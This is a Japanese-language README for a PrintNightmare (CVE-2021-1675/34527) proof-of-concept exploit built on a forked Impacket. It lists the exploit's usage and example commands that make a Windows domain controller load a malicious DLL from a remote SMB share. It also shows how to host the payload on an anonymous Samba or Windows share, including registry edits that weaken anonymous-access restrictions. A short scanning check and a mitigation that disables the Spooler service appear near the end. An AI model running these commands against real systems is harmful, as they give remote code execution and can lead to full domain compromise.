
PrintNightmare (CVE-2021-1675/CVE-2021-34527) の C# および Impacket 実装
ImpacketによるPrintNightmare PoCの実装。元はZhiniang Peng (@edwardzpeng) とXuefeng Li (@lxf02942370) によって作成されました。
完全にパッチが適用された2019 Domain Controllerでテスト済み
悪意のあるDLLをリモートまたはローカルで実行

Microsoftはこれらの攻撃を軽減するためのパッチをリリースしましたが、以下の値がマシンに存在する場合、マシンは依然として脆弱です
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
エクスプロイトを実行する前に、私のバージョンのImpacketをインストールする必要があります。その後は問題ありません。
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 の実装です。
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share DLLへのパス。例 '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help このヘルプメッセージを表示して終了
authentication:
-hashes LMHASH:NTHASH
NTLMハッシュ、形式はLMHASH:NTHASH
connection:
-target-ip ip address
ターゲットマシンのIPアドレス。省略した場合は、ターゲットとして指定されたものが使用されます。ターゲットがNetBIOS名で解決できない場合に便利です。
-port [destination port]
SMBサーバーに接続する宛先ポート
例;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
ペイロードをホストする最も簡単な方法は、sambaを使用し、/etc/samba/smb.conf を変更して匿名アクセスを許可することです。
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Windowsからも可能です。
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
rpcdump.py をimpacketから使用して、潜在的に脆弱なホストをスキャンできます。値が返された場合、脆弱である可能性があります。
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
スプーラーサービスを無効にする
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f